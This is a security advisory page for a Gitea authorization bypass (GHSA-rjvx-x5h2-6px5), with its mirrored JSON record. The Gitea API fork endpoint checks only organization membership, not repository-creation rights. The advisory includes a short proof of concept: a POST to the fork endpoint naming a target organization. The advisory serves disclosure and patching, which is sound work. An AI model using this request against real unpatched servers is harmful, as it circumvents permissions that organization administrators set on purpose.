GHSA-RJVX-X5H2-6PX5

Vulnerability from github – Published: 2026-07-21 20:26 – Updated: 2026-07-21 20:26
VLAI
Summary
Gitea: API Fork Endpoint Authorization Bypass Allows Organization Members to Bypass Repository Creation Restrictions
Details

Summary

The API endpoint used to fork repositories into organizations performs a weaker authorization check than the corresponding web UI and other repository creation endpoints.

When a repository is forked into an organization through the API, the endpoint only verifies that the user is an organization member (IsOrgMember()), but does not verify whether the user is allowed to create repositories in that organization (CanCreateOrgRepo()).

As a result, organization members belonging to teams with can_create_org_repo=false can still create repositories inside the organization by using the fork API.

Details

Affected endpoint:

POST /api/v1/repos/{owner}/{repo}/forks

In routers/api/v1/repo/fork.go, the endpoint performs the following authorization check:

if !ctx.Doer.IsAdmin {
    isMember, err := org.IsOrgMember(ctx, ctx.Doer.ID)
    if !isMember {
        ctx.APIError(http.StatusForbidden, ...)
        return
    }
}

The equivalent web UI implementation uses the stronger permission check:

isAllowedToFork, err := organization.OrgFromUser(ctxUser).
    CanCreateOrgRepo(ctx, ctx.Doer.ID)

The same CanCreateOrgRepo() authorization check is also used by:

  • CreateOrgRepo API endpoint
  • GenerateRepository API endpoint

The fork endpoint appears to be the only repository creation path that relies solely on organization membership.

Proof of Concept

Tested on Gitea 1.23.7.

  1. Create an organization.
  2. Create a team with can_create_org_repo=false.
  3. Add a test user to that team.
  4. Verify that normal repository creation is denied:
POST /api/v1/orgs/target-org/repos

Result:

403 Forbidden
  1. Fork a repository into the organization:
POST /api/v1/repos/admin/public-repo/forks
Content-Type: application/json

{
  "organization": "target-org"
}

Result:

202 Accepted

The repository is successfully created despite repository creation permissions being disabled.

Impact

Users who are organization members but are intentionally prevented from creating repositories can bypass that restriction through the API.

This allows unauthorized repository creation inside the organization and may expose additional attack surface depending on the organization's Actions, runner, and workflow configuration.

The vulnerability represents an authorization bypass because API behavior is less restrictive than both the web UI and other repository creation endpoints.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:26:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe API endpoint used to fork repositories into organizations performs a weaker authorization check than the corresponding web UI and other repository creation endpoints.\n\nWhen a repository is forked into an organization through the API, the endpoint only verifies that the user is an organization member (`IsOrgMember()`), but does not verify whether the user is allowed to create repositories in that organization (`CanCreateOrgRepo()`).\n\nAs a result, organization members belonging to teams with `can_create_org_repo=false` can still create repositories inside the organization by using the fork API.\n\n### Details\n\nAffected endpoint:\n\n```\nPOST /api/v1/repos/{owner}/{repo}/forks\n```\n\nIn `routers/api/v1/repo/fork.go`, the endpoint performs the following authorization check:\n\n```go\nif !ctx.Doer.IsAdmin {\n    isMember, err := org.IsOrgMember(ctx, ctx.Doer.ID)\n    if !isMember {\n        ctx.APIError(http.StatusForbidden, ...)\n        return\n    }\n}\n```\n\nThe equivalent web UI implementation uses the stronger permission check:\n\n```go\nisAllowedToFork, err := organization.OrgFromUser(ctxUser).\n    CanCreateOrgRepo(ctx, ctx.Doer.ID)\n```\n\nThe same `CanCreateOrgRepo()` authorization check is also used by:\n\n* CreateOrgRepo API endpoint\n* GenerateRepository API endpoint\n\nThe fork endpoint appears to be the only repository creation path that relies solely on organization membership.\n\n### Proof of Concept\n\nTested on Gitea 1.23.7.\n\n1. Create an organization.\n2. Create a team with `can_create_org_repo=false`.\n3. Add a test user to that team.\n4. Verify that normal repository creation is denied:\n\n```http\nPOST /api/v1/orgs/target-org/repos\n```\n\nResult:\n\n```http\n403 Forbidden\n```\n\n5. Fork a repository into the organization:\n\n```http\nPOST /api/v1/repos/admin/public-repo/forks\nContent-Type: application/json\n\n{\n  \"organization\": \"target-org\"\n}\n```\n\nResult:\n\n```http\n202 Accepted\n```\n\nThe repository is successfully created despite repository creation permissions being disabled.\n\n### Impact\n\nUsers who are organization members but are intentionally prevented from creating repositories can bypass that restriction through the API.\n\nThis allows unauthorized repository creation inside the organization and may expose additional attack surface depending on the organization\u0027s Actions, runner, and workflow configuration.\n\nThe vulnerability represents an authorization bypass because API behavior is less restrictive than both the web UI and other repository creation endpoints.",
  "id": "GHSA-rjvx-x5h2-6px5",
  "modified": "2026-07-21T20:26:37Z",
  "published": "2026-07-21T20:26:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rjvx-x5h2-6px5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/36950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/686d10b7f0c26baf91171124b382cbcdfa7bf025"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: API Fork Endpoint Authorization Bypass Allows Organization Members to Bypass Repository Creation Restrictions"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…